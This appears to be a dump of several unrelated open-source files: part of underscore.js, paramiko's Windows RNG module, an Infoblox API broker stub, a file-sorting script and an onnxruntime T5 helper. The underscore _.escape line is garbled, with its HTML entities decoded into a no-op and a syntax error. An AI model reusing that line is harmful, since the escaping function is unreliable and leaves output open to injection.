if (obj == null) return result;
if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
each(obj, function(value, index, list) {
if (result || (result = iterator.call(context, value, index, list))) return breaker;
});
return !!result;
};
// Determine if a given value is included in the array or object using `===`.
// Aliased as `contains`.
_.include = _.contains = function(obj, target) {
var found = false;
if (obj == null) return found;
if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
found = any(obj, function(value) {
return value === target;
});
return found;
};
// Invoke a method (with arguments) on every item in a collection.
_.invoke = function(obj, method) {
var args = slice.call(arguments, 2);
return _.map(obj, function(value) {
return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
});
};
// Convenience version of a common use case of `map`: fetching a property.
_.pluck = function(obj, key) {
return _.map(obj, function(value){ return value[key]; });
};
// Return the maximum element or (element-based computation).
_.max = function(obj, iterator, context) {
if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj);
if (!iterator && _.isEmpty(obj)) return -Infinity;
var result = {computed : -Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed >= result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Return the minimum element (or element-based computation).
_.min = function(obj, iterator, context) {
if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj);
if (!iterator && _.isEmpty(obj)) return Infinity;
var result = {computed : Infinity};
each(obj, function(value, index, list) {
var computed = iterator ? iterator.call(context, value, index, list) : value;
computed < result.computed && (result = {value : value, computed : computed});
});
return result.value;
};
// Shuffle an array.
_.shuffle = function(obj) {
var shuffled = [], rand;
each(obj, function(value, index, list) {
if (index == 0) {
shuffled[0] = value;
} else {
rand = Math.floor(Math.random() * (index + 1));
shuffled[index] = shuffled[rand];
shuffled[rand] = value;
}
});
return shuffled;
};
// Sort the object's values by a criterion produced by an iterator.
_.sortBy = function(obj, iterator, context) {
return _.pluck(_.map(obj, function(value, index, list) {
return {
value : value,
criteria : iterator.call(context, value, index, list)
};
}).sort(function(left, right) {
var a = left.criteria, b = right.criteria;
return a < b ? -1 : a > b ? 1 : 0;
}), 'value');
};
// Groups the object's values by a criterion. Pass either a string attribute
// to group by, or a function that returns the criterion.
_.groupBy = function(obj, val) {
var result = {};
var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
each(obj, function(value, index) {
var key = iterator(value, index);
(result[key] || (result[key] = [])).push(value);
});
return result;
};
// Use a comparator function to figure out at what index an object should
// be inserted so as to maintain order. Uses binary search.
_.sortedIndex = function(array, obj, iterator) {
iterator || (iterator = _.identity);
var low = 0, high = array.length;
while (low < high) {
var mid = (low + high) >> 1;
iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
}
return low;
};
// Safely convert anything iterable into a real, live array.
_.toArray = function(iterable) {
if (!iterable) return [];
if (iterable.toArray) return iterable.toArray();
if (_.isArray(iterable)) return slice.call(iterable);
if (_.isArguments(iterable)) return slice.call(iterable);
return _.values(iterable);
};
// Return the number of elements in an object.
_.size = function(obj) {
return _.toArray(obj).length;
};
// Array Functions
// ---------------
// Get the first element of an array. Passing **n** will return the first N
// values in the array. Aliased as `head`. The **guard** check allows it to work
// with `_.map`.
_.first = _.head = function(array, n, guard) {
return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
};
// Returns everything but the last entry of the array. Especcialy useful on
// the arguments object. Passing **n** will return all the values in
// the array, excluding the last N. The **guard** check allows it to work with
// `_.map`.
_.initial = function(array, n, guard) {
return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
};
// Get the last element of an array. Passing **n** will return the last N
// values in the array. The **guard** check allows it to work with `_.map`.
_.last = function(array, n, guard) {
if ((n != null) && !guard) {
return slice.call(array, Math.max(array.length - n, 0));
} else {
return array[array.length - 1];
}
};
// Returns everything but the first entry of the array. Aliased as `tail`.
// Especially useful on the arguments object. Passing an **index** will return
// the rest of the values in the array from that index onward. The **guard**
// check allows it to work with `_.map`.
_.rest = _.tail = function(array, index, guard) {
return slice.call(array, (index == null) || guard ? 1 : index);
};
// Trim out all falsy values from an array.
_.compact = function(array) {
return _.filter(array, function(value){ return !!value; });
};
// Return a completely flattened version of an array.
_.flatten = function(array, shallow) {
return _.reduce(array, function(memo, value) {
if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
memo[memo.length] = value;
return memo;
}, []);
};
// Return a version of the array that does not contain the specified value(s).
_.without = function(array) {
return _.difference(array, slice.call(arguments, 1));
};
// Produce a duplicate-free version of the array. If the array has already
// been sorted, you have the option of using a faster algorithm.
// Aliased as `unique`.
_.uniq = _.unique = function(array, isSorted, iterator) {
var initial = iterator ? _.map(array, iterator) : array;
var result = [];
_.reduce(initial, function(memo, el, i) {
if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) {
memo[memo.length] = el;
result[result.length] = array[i];
}
return memo;
}, []);
return result;
};
// Produce an array that contains the union: each distinct element from all of
// the passed-in arrays.
_.union = function() {
return _.uniq(_.flatten(arguments, true));
};
// Produce an array that contains every item shared between all the
// passed-in arrays. (Aliased as "intersect" for back-compat.)
_.intersection = _.intersect = function(array) {
var rest = slice.call(arguments, 1);
return _.filter(_.uniq(array), function(item) {
return _.every(rest, function(other) {
return _.indexOf(other, item) >= 0;
});
});
};
// Take the difference between one array and a number of other arrays.
// Only the elements present in just the first array will remain.
_.difference = function(array) {
var rest = _.flatten(slice.call(arguments, 1));
return _.filter(array, function(value){ return !_.include(rest, value); });
};
// Zip together multiple lists into a single array -- elements that share
// an index go together.
_.zip = function() {
var args = slice.call(arguments);
var length = _.max(_.pluck(args, 'length'));
var results = new Array(length);
for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
return results;
};
// If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
// we need this function. Return the position of the first occurrence of an
// item in an array, or -1 if the item is not included in the array.
// Delegates to **ECMAScript 5**'s native `indexOf` if available.
// If the array is large and already in sort order, pass `true`
// for **isSorted** to use binary search.
_.indexOf = function(array, item, isSorted) {
if (array == null) return -1;
var i, l;
if (isSorted) {
i = _.sortedIndex(array, item);
return array[i] === item ? i : -1;
}
if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
return -1;
};
// Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
_.lastIndexOf = function(array, item) {
if (array == null) return -1;
if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
var i = array.length;
while (i--) if (i in array && array[i] === item) return i;
return -1;
};
// Generate an integer Array containing an arithmetic progression. A port of
// the native Python `range()` function. See
// [the Python documentation](http://docs.python.org/library/functions.html#range).
_.range = function(start, stop, step) {
if (arguments.length <= 1) {
stop = start || 0;
start = 0;
}
step = arguments[2] || 1;
var len = Math.max(Math.ceil((stop - start) / step), 0);
var idx = 0;
var range = new Array(len);
while(idx < len) {
range[idx++] = start;
start += step;
}
return range;
};
// Function (ahem) Functions
// ------------------
// Reusable constructor function for prototype setting.
var ctor = function(){};
// Create a function bound to a given object (assigning `this`, and arguments,
// optionally). Binding with arguments is also known as `curry`.
// Delegates to **ECMAScript 5**'s native `Function.bind` if available.
// We check for `func.bind` first, to fail fast when `func` is undefined.
_.bind = function bind(func, context) {
var bound, args;
if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
if (!_.isFunction(func)) throw new TypeError;
args = slice.call(arguments, 2);
return bound = function() {
if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
ctor.prototype = func.prototype;
var self = new ctor;
var result = func.apply(self, args.concat(slice.call(arguments)));
if (Object(result) === result) return result;
return self;
};
};
// Bind all of an object's methods to that object. Useful for ensuring that
// all callbacks defined on an object belong to it.
_.bindAll = function(obj) {
var funcs = slice.call(arguments, 1);
if (funcs.length == 0) funcs = _.functions(obj);
each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
return obj;
};
// Memoize an expensive function by storing its results.
_.memoize = function(func, hasher) {
var memo = {};
hasher || (hasher = _.identity);
return function() {
var key = hasher.apply(this, arguments);
return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
};
};
// Delays a function for the given number of milliseconds, and then calls
// it with the arguments supplied.
_.delay = function(func, wait) {
var args = slice.call(arguments, 2);
return setTimeout(function(){ return func.apply(func, args); }, wait);
};
// Defers a function, scheduling it to run after the current call stack has
// cleared.
_.defer = function(func) {
return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
};
// Returns a function, that, when invoked, will only be triggered at most once
// during a given window of time.
_.throttle = function(func, wait) {
var context, args, timeout, throttling, more;
var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
return function() {
context = this; args = arguments;
var later = function() {
timeout = null;
if (more) func.apply(context, args);
whenDone();
};
if (!timeout) timeout = setTimeout(later, wait);
if (throttling) {
more = true;
} else {
func.apply(context, args);
}
whenDone();
throttling = true;
};
};
// Returns a function, that, as long as it continues to be invoked, will not
// be triggered. The function will be called after it stops being called for
// N milliseconds.
_.debounce = function(func, wait) {
var timeout;
return function() {
var context = this, args = arguments;
var later = function() {
timeout = null;
func.apply(context, args);
};
clearTimeout(timeout);
timeout = setTimeout(later, wait);
};
};
// Returns a function that will be executed at most one time, no matter how
// often you call it. Useful for lazy initialization.
_.once = function(func) {
var ran = false, memo;
return function() {
if (ran) return memo;
ran = true;
return memo = func.apply(this, arguments);
};
};
// Returns the first function passed as an argument to the second,
// allowing you to adjust arguments, run code before and after, and
// conditionally execute the original function.
_.wrap = function(func, wrapper) {
return function() {
var args = [func].concat(slice.call(arguments, 0));
return wrapper.apply(this, args);
};
};
// Returns a function that is the composition of a list of functions, each
// consuming the return value of the function that follows.
_.compose = function() {
var funcs = arguments;
return function() {
var args = arguments;
for (var i = funcs.length - 1; i >= 0; i--) {
args = [funcs[i].apply(this, args)];
}
return args[0];
};
};
// Returns a function that will only be executed after being called N times.
_.after = function(times, func) {
if (times <= 0) return func();
return function() {
if (--times < 1) { return func.apply(this, arguments); }
};
};
// Object Functions
// ----------------
// Retrieve the names of an object's properties.
// Delegates to **ECMAScript 5**'s native `Object.keys`
_.keys = nativeKeys || function(obj) {
if (obj !== Object(obj)) throw new TypeError('Invalid object');
var keys = [];
for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
return keys;
};
// Retrieve the values of an object's properties.
_.values = function(obj) {
return _.map(obj, _.identity);
};
// Return a sorted list of the function names available on the object.
// Aliased as `methods`
_.functions = _.methods = function(obj) {
var names = [];
for (var key in obj) {
if (_.isFunction(obj[key])) names.push(key);
}
return names.sort();
};
// Extend a given object with all the properties in passed-in object(s).
_.extend = function(obj) {
each(slice.call(arguments, 1), function(source) {
for (var prop in source) {
obj[prop] = source[prop];
}
});
return obj;
};
// Fill in a given object with default properties.
_.defaults = function(obj) {
each(slice.call(arguments, 1), function(source) {
for (var prop in source) {
if (obj[prop] == null) obj[prop] = source[prop];
}
});
return obj;
};
// Create a (shallow-cloned) duplicate of an object.
_.clone = function(obj) {
if (!_.isObject(obj)) return obj;
return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
};
// Invokes interceptor with the obj, and then returns obj.
// The primary purpose of this method is to "tap into" a method chain, in
// order to perform operations on intermediate results within the chain.
_.tap = function(obj, interceptor) {
interceptor(obj);
return obj;
};
// Internal recursive comparison function.
function eq(a, b, stack) {
// Identical objects are equal. `0 === -0`, but they aren't identical.
// See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
if (a === b) return a !== 0 || 1 / a == 1 / b;
// A strict comparison is necessary because `null == undefined`.
if (a == null || b == null) return a === b;
// Unwrap any wrapped objects.
if (a._chain) a = a._wrapped;
if (b._chain) b = b._wrapped;
// Invoke a custom `isEqual` method if one is provided.
if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
// Compare `[[Class]]` names.
var className = toString.call(a);
if (className != toString.call(b)) return false;
switch (className) {
// Strings, numbers, dates, and booleans are compared by value.
case '[object String]':
// Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
// equivalent to `new String("5")`.
return a == String(b);
case '[object Number]':
// `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
// other numeric values.
return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
case '[object Date]':
case '[object Boolean]':
// Coerce dates and booleans to numeric primitive values. Dates are compared by their
// millisecond representations. Note that invalid dates with millisecond representations
// of `NaN` are not equivalent.
return +a == +b;
// RegExps are compared by their source patterns and flags.
case '[object RegExp]':
return a.source == b.source &&
a.global == b.global &&
a.multiline == b.multiline &&
a.ignoreCase == b.ignoreCase;
}
if (typeof a != 'object' || typeof b != 'object') return false;
// Assume equality for cyclic structures. The algorithm for detecting cyclic
// structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
var length = stack.length;
while (length--) {
// Linear search. Performance is inversely proportional to the number of
// unique nested structures.
if (stack[length] == a) return true;
}
// Add the first object to the stack of traversed objects.
stack.push(a);
var size = 0, result = true;
// Recursively compare objects and arrays.
if (className == '[object Array]') {
// Compare array lengths to determine if a deep comparison is necessary.
size = a.length;
result = size == b.length;
if (result) {
// Deep compare the contents, ignoring non-numeric properties.
while (size--) {
// Ensure commutative equality for sparse arrays.
if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
}
}
} else {
// Objects with different constructors are not equivalent.
if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
// Deep compare objects.
for (var key in a) {
if (_.has(a, key)) {
// Count the expected number of properties.
size++;
// Deep compare each member.
if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
}
}
// Ensure that both objects contain the same number of properties.
if (result) {
for (key in b) {
if (_.has(b, key) && !(size--)) break;
}
result = !size;
}
}
// Remove the first object from the stack of traversed objects.
stack.pop();
return result;
}
// Perform a deep comparison to check if two objects are equal.
_.isEqual = function(a, b) {
return eq(a, b, []);
};
// Is a given array, string, or object empty?
// An "empty" object has no enumerable own-properties.
_.isEmpty = function(obj) {
if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
for (var key in obj) if (_.has(obj, key)) return false;
return true;
};
// Is a given value a DOM element?
_.isElement = function(obj) {
return !!(obj && obj.nodeType == 1);
};
// Is a given value an array?
// Delegates to ECMA5's native Array.isArray
_.isArray = nativeIsArray || function(obj) {
return toString.call(obj) == '[object Array]';
};
// Is a given variable an object?
_.isObject = function(obj) {
return obj === Object(obj);
};
// Is a given variable an arguments object?
_.isArguments = function(obj) {
return toString.call(obj) == '[object Arguments]';
};
if (!_.isArguments(arguments)) {
_.isArguments = function(obj) {
return !!(obj && _.has(obj, 'callee'));
};
}
// Is a given value a function?
_.isFunction = function(obj) {
return toString.call(obj) == '[object Function]';
};
// Is a given value a string?
_.isString = function(obj) {
return toString.call(obj) == '[object String]';
};
// Is a given value a number?
_.isNumber = function(obj) {
return toString.call(obj) == '[object Number]';
};
// Is the given value `NaN`?
_.isNaN = function(obj) {
// `NaN` is the only value for which `===` is not reflexive.
return obj !== obj;
};
// Is a given value a boolean?
_.isBoolean = function(obj) {
return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
};
// Is a given value a date?
_.isDate = function(obj) {
return toString.call(obj) == '[object Date]';
};
// Is the given value a regular expression?
_.isRegExp = function(obj) {
return toString.call(obj) == '[object RegExp]';
};
// Is a given value equal to null?
_.isNull = function(obj) {
return obj === null;
};
// Is a given variable undefined?
_.isUndefined = function(obj) {
return obj === void 0;
};
// Has own property?
_.has = function(obj, key) {
return hasOwnProperty.call(obj, key);
};
// Utility Functions
// -----------------
// Run Underscore.js in *noConflict* mode, returning the `_` variable to its
// previous owner. Returns a reference to the Underscore object.
_.noConflict = function() {
root._ = previousUnderscore;
return this;
};
// Keep the identity function around for default iterators.
_.identity = function(value) {
return value;
};
// Run a function **n** times.
_.times = function (n, iterator, context) {
for (var i = 0; i < n; i++) iterator.call(context, i);
};
// Escape a string for HTML interpolation.
_.escape = function(string) {
return (''+string).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''').replace(/\//g,'/');
};
// Add your own custom functions to the Underscore object, ensuring that
// they're correctly added to the OOP wrapper as well.
_.mixin = function(obj) {
each(_.functions(obj), function(name){
addToWrapper(name, _[name] = obj[name]);
});
};
// Generate a unique integer id (unique within the entire client session).
// Useful for temporary DOM ids.
var idCounter = 0;
_.uniqueId = function(prefix) {
var id = idCounter++;
return prefix ? prefix + id : id;
};
// By default, Underscore uses ERB-style template delimiters, change the
// following template settings to use alternative delimiters.
_.templateSettings = {
evaluate : /<%([\s\S]+?)%>/g,
interpolate : /<%=([\s\S]+?)%>/g,
escape : /<%-([\s\S]+?)%>/g
};
// When customizing `templateSettings`, if you don't want to define an
// interpolation, evaluation or escaping regex, we need one that is
// guaranteed not to match.
var noMatch = /.^/;
// Within an interpolation, evaluation, or escaping, remove HTML escaping
// that had been previously added.
var unescape = function(code) {
return code.replace(/\\\\/g, '\\').replace(/\\'/g, "'");
};
// JavaScript micro-templating, similar to John Resig's implementation.
// Underscore templating handles arbitrary delimiters, preserves whitespace,
// and correctly escapes quotes within interpolated code.
_.template = function(str, data) {
var c = _.templateSettings;
var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' +
'with(obj||{}){__p.push(\'' +
str.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(c.escape || noMatch, function(match, code) {
return "',_.escape(" + unescape(code) + "),'";
})
.replace(c.interpolate || noMatch, function(match, code) {
return "'," + unescape(code) + ",'";
})
.replace(c.evaluate || noMatch, function(match, code) {
return "');" + unescape(code).replace(/[\r\n\t]/g, ' ') + ";__p.push('";
})
.replace(/\r/g, '\\r')
.replace(/\n/g, '\\n')
.replace(/\t/g, '\\t')
+ "');}return __p.join('');";
var func = new Function('obj', '_', tmpl);
if (data) return func(data, _);
return function(data) {
return func.call(this, data, _);
};
};
// Add a "chain" function, which will delegate to the wrapper.
_.chain = function(obj) {
return _(obj).chain();
};
// The OOP Wrapper
// ---------------
// If Underscore is called as a function, it returns a wrapped object that
// can be used OO-style. This wrapper holds altered versions of all the
// underscore functions. Wrapped objects may be chained.
var wrapper = function(obj) { this._wrapped = obj; };
// Expose `wrapper.prototype` as `_.prototype`
_.prototype = wrapper.prototype;
// Helper function to continue chaining intermediate results.
var result = function(obj, chain) {
return chain ? _(obj).chain() : obj;
};
// A method to easily add functions to the OOP wrapper.
var addToWrapper = function(name, func) {
wrapper.prototype[name] = function() {
var args = slice.call(arguments);
unshift.call(args, this._wrapped);
return result(func.apply(_, args), this._chain);
};
};
// Add all of the Underscore functions to the wrapper object.
_.mixin(_);
// Add all mutator Array functions to the wrapper.
each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
var method = ArrayProto[name];
wrapper.prototype[name] = function() {
var wrapped = this._wrapped;
method.apply(wrapped, arguments);
var length = wrapped.length;
if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
return result(wrapped, this._chain);
};
});
// Add all accessor Array functions to the wrapper.
each(['concat', 'join', 'slice'], function(name) {
var method = ArrayProto[name];
wrapper.prototype[name] = function() {
return result(method.apply(this._wrapped, arguments), this._chain);
};
});
// Start chaining a wrapped Underscore object.
wrapper.prototype.chain = function() {
this._chain = true;
return this;
};
// Extracts the result from a wrapped and chained object.
wrapper.prototype.value = function() {
return this._wrapped;
};
}).call(this);
|
PypiClean
|
/paramiko-on-pypi-1.7.6.tar.gz/paramiko-on-pypi-1.7.6/paramiko/rng_win32.py
|
class error(Exception):
pass
# Try to import the "winrandom" module
try:
from Crypto.Util import winrandom as _winrandom
except ImportError:
_winrandom = None
# Try to import the "urandom" module
try:
from os import urandom as _urandom
except ImportError:
_urandom = None
class _RNG(object):
def __init__(self, readfunc):
self.read = readfunc
def randomize(self):
# According to "Cryptanalysis of the Random Number Generator of the
# Windows Operating System", by Leo Dorrendorf and Zvi Gutterman
# and Benny Pinkas <http://eprint.iacr.org/2007/419>,
# CryptGenRandom only updates its internal state using kernel-provided
# random data every 128KiB of output.
self.read(128*1024) # discard 128 KiB of output
def _open_winrandom():
if _winrandom is None:
raise error("Crypto.Util.winrandom module not found")
# Check that we can open the winrandom module
try:
r0 = _winrandom.new()
r1 = _winrandom.new()
except Exception, exc:
raise error("winrandom.new() failed: %s" % str(exc), exc)
# Check that we can read from the winrandom module
try:
x = r0.get_bytes(20)
y = r1.get_bytes(20)
except Exception, exc:
raise error("winrandom get_bytes failed: %s" % str(exc), exc)
# Check that the requested number of bytes are returned
if len(x) != 20 or len(y) != 20:
raise error("Error reading from winrandom: input truncated")
# Check that different reads return different data
if x == y:
raise error("winrandom broken: returning identical data")
return _RNG(r0.get_bytes)
def _open_urandom():
if _urandom is None:
raise error("os.urandom function not found")
# Check that we can read from os.urandom()
try:
x = _urandom(20)
y = _urandom(20)
except Exception, exc:
raise error("os.urandom failed: %s" % str(exc), exc)
# Check that the requested number of bytes are returned
if len(x) != 20 or len(y) != 20:
raise error("os.urandom failed: input truncated")
# Check that different reads return different data
if x == y:
raise error("os.urandom failed: returning identical data")
return _RNG(_urandom)
def open_rng_device():
# Try using the Crypto.Util.winrandom module
try:
return _open_winrandom()
except error:
pass
# Several versions of PyCrypto do not contain the winrandom module, but
# Python >= 2.4 has os.urandom, so try to use that.
try:
return _open_urandom()
except error:
pass
# SECURITY NOTE: DO NOT USE Crypto.Util.randpool.RandomPool HERE!
# If we got to this point, RandomPool will silently run with very little
# entropy. (This is current as of PyCrypto 2.0.1).
# See http://www.lag.net/pipermail/paramiko/2008-January/000599.html
# and http://www.lag.net/pipermail/paramiko/2008-April/000678.html
raise error("Unable to find a strong random entropy source. You cannot run this software securely under the current configuration.")
# vim:set ts=4 sw=4 sts=4 expandtab:
|
PypiClean
|
/infoblox-netmri-3.8.0.0.tar.gz/infoblox-netmri-3.8.0.0/infoblox_netmri/api/broker/v3_8_0/apic_setting_broker.py
|
from ..broker import Broker
class ApicSettingBroker(Broker):
controller = "apic_settings"
def index(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("index"), kwargs)
def search(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("search"), kwargs)
def find(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("find"), kwargs)
def show(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("show"), kwargs)
def create(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("create"), kwargs)
def update(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("update"), kwargs)
def destroy(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("destroy"), kwargs)
def destroy_many(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("destroy_many"), kwargs)
def dump_apic_controllers(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("dump_apic_controllers"), kwargs)
def import_controllers(self, **kwargs):
"""This method is no longer exists. Please use such method from SDN Settings
**Inputs**
**Outputs**
"""
return self.api_request(self._get_method_fullname("import_controllers"), kwargs)
|
PypiClean
|
/test_5_powerhouse_helper-1-py3-none-any.whl/test5_powerhouse_helper/OtherModules/Sort_Files.py
|
import os
import shutil
from prettytable import PrettyTable
#Dict for normalize()
transliterate_dict = {'а':'a','б':'b','в':'v','г':'g','д':'d','е':'e','ё':'e',
'ж':'zh','з':'z','и':'i','й':'i','к':'k','л':'l','м':'m','н':'n',
'о':'o','п':'p','р':'r','с':'s','т':'t','у':'u','ф':'f','х':'h',
'ц':'c','ч':'cz','ш':'sh','щ':'scz','ъ':'','ы':'y','ь':'','э':'e',
'ю':'u','я':'ja', 'А':'A','Б':'B','В':'V','Г':'G','Д':'D','Е':'E','Ё':'E',
'Ж':'ZH','З':'Z','И':'I','Й':'I','К':'K','Л':'L','М':'M','Н':'N',
'О':'O','П':'P','Р':'R','С':'S','Т':'T','У':'U','Ф':'F','Х':'H',
'Ц':'C','Ч':'CZ','Ш':'SH','Щ':'Shch','Ъ':'','Ы':'y','Ь':'','Э':'E',
'Ю':'U','Я':'Ya','ґ':'','ї':'', 'є':'','Ґ':'g','Ї':'i',
'Є':'e', '.':'.', 'x':'x', 'X':'X', 'j':'j', 'J':'J', 'w':'w', 'W':'W'}
# List of numbers for the normalize() function
numbers = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]
# Folders to skip
ignore_folders = ["images", "video", "documents", "audio", "archives", "other"]
EXTENDS = {
("png", "jpeg", "jpg", "svg"): "\\images\\",
(".avi", ".mp4", ".mov", ".mkv"): "\\video\\",
(".doc", ".docx", ".txt", ".pdf", ".xlsx", ".pptx"): "\\documents\\",
(".mp3", ".ogg", ".wav", ".amr"): "\\audio\\",
(".zip", ".tar", ".gz"): "\\archives\\",
}
#File sorted counter
counter = {category: 0 for category in ignore_folders}
# Function to normalize the file name
def normalize(file_name: str) -> str:
for key in transliterate_dict:
file_name = file_name.replace(key, transliterate_dict.get(key))
for i in file_name:
if (
i not in transliterate_dict.values()
and i not in transliterate_dict.keys()
and i not in numbers
):
file_name = file_name.replace(i, "_")
return file_name
def create_folders(path):
for ignore_folder in ignore_folders:
if ignore_folder not in os.listdir(path):
os.mkdir(path + "\\" + ignore_folder)
return "Folder to sort has been created"
# Recursive folder sort function
def sorting_function(path):
for elem in os.listdir(path):
# The basic part
if len(elem.split(".")) > 1:
for extend, category in EXTENDS.items():
if os.path.splitext(elem)[-1] in extend:
current_file = path + "\\" + elem
new_path = path + category + normalize(elem)
counter[category[1:-1]] += 1
#os.rename(current_file, new_path)
shutil.move(current_file, new_path)
if os.path.splitext(elem)[-1] not in [extend for extends_tup in EXTENDS.keys() for extend in extends_tup]:
current_file = path + "\\" + elem
new_path = path + "\\other\\" + normalize(elem)
counter["other"] += 1
shutil.move(current_file, new_path)
# The recursive part
if (
os.path.isdir(path + "\\" + elem)
and len(os.listdir(path + "\\" + elem)) == 0
and elem not in ignore_folders
):
os.rmdir(path + "\\" + elem)
elif os.path.isdir(path + "\\" + elem) and elem not in ignore_folders:
sorting_function(path + "\\" + elem)
return "The folder has been sorted!"
def start_sorting():
path = input("Enter the path to the folder to sort: ")
create_folders(path)
try:
print(sorting_function(path))
except FileNotFoundError:
return "There is no such file"
table = PrettyTable()
table.field_names = ["Filetype", "Count"]
for category, count in counter.items():
table.add_row([category, count])
return table
|
PypiClean
|
/onnxruntime_azure-1.15.0-cp38-cp38-win32.whl/onnxruntime/transformers/models/t5/past_helper.py
|
import logging
from typing import List, Tuple
import torch
logger = logging.getLogger(__name__)
class PastKeyValuesHelper:
"""Helper functions to process past key values for encoder-decoder model"""
@staticmethod
def get_past_names(num_layers, present: bool = False):
past_self_names = []
past_cross_names = []
for i in range(num_layers):
past_self_names.extend(
[f"present_key_self_{i}", f"present_value_self_{i}"]
if present
else [f"past_key_self_{i}", f"past_value_self_{i}"]
)
past_cross_names.extend(
[f"present_key_cross_{i}", f"present_value_cross_{i}"]
if present
else [f"past_key_cross_{i}", f"past_value_cross_{i}"]
)
return past_self_names + past_cross_names
@staticmethod
def group_by_self_or_cross(present_key_values):
"""Split present state from grouped by layer to grouped by self/cross attention.
Before: (past_key_self_0, past_value_self_0, past_key_cross_0, past_value_cross_0), (past_key_self_1, past_value_self_1, past_key_cross_1, past_value_cross_1), ...
After: (past_key_self_0, past_value_self_0, past_key_self_1, past_value_self_1, ...), (past_key_cross_0, past_value_cross_0, past_key_cross_1, past_value_cross_1, ...)
"""
present_self = []
present_cross = []
for _i, present_layer_i in enumerate(present_key_values):
assert len(present_layer_i) == 4, f"Expected to have four items. Got {len(present_layer_i)}"
(
present_key_self,
present_value_self,
present_key_cross,
present_value_cross,
) = present_layer_i
present_self.extend([present_key_self, present_value_self])
present_cross.extend([present_key_cross, present_value_cross])
return present_self, present_cross
@staticmethod
def group_by_layer(past, num_layers):
"""Reorder past state from grouped by self/cross attention to grouped by layer.
Before: past_key_self_0, past_value_self_0, past_key_self_1, past_value_self_1, ..., past_key_cross_0, past_value_cross_0, past_key_cross_1, past_value_cross_1, ...
After: (past_key_self_0, past_value_self_0, past_key_cross_0, past_value_cross_0), (past_key_self_1, past_value_self_1, past_key_cross_1, past_value_cross_1),
"""
assert len(past) == 4 * num_layers
return tuple(
[
past[2 * i],
past[2 * i + 1],
past[2 * num_layers + 2 * i],
past[2 * num_layers + 2 * i + 1],
]
for i in range(num_layers)
)
@staticmethod
def back_group_by_layer(past_key_values: Tuple[Tuple[torch.Tensor]]):
"""Categorize present_key_values from self and cross attention to layer by layer.
Reorder past state from grouped by self/cross attention to grouped by layer.
Before: past_key_self_0, past_value_self_0, past_key_self_1, past_value_self_1, ...,
past_key_cross_0, past_value_cross_0, past_key_cross_1, past_value_cross_1, ...
After: (past_key_self_0, past_value_self_0, past_key_cross_0, past_value_cross_0),
(past_key_self_1, past_value_self_1, past_key_cross_1, past_value_cross_1),
Args:
present_key_values: From past_key_values of a model (group by self and cross attention)
Returns:
past_tuples: present key and values grouped by layer.
"""
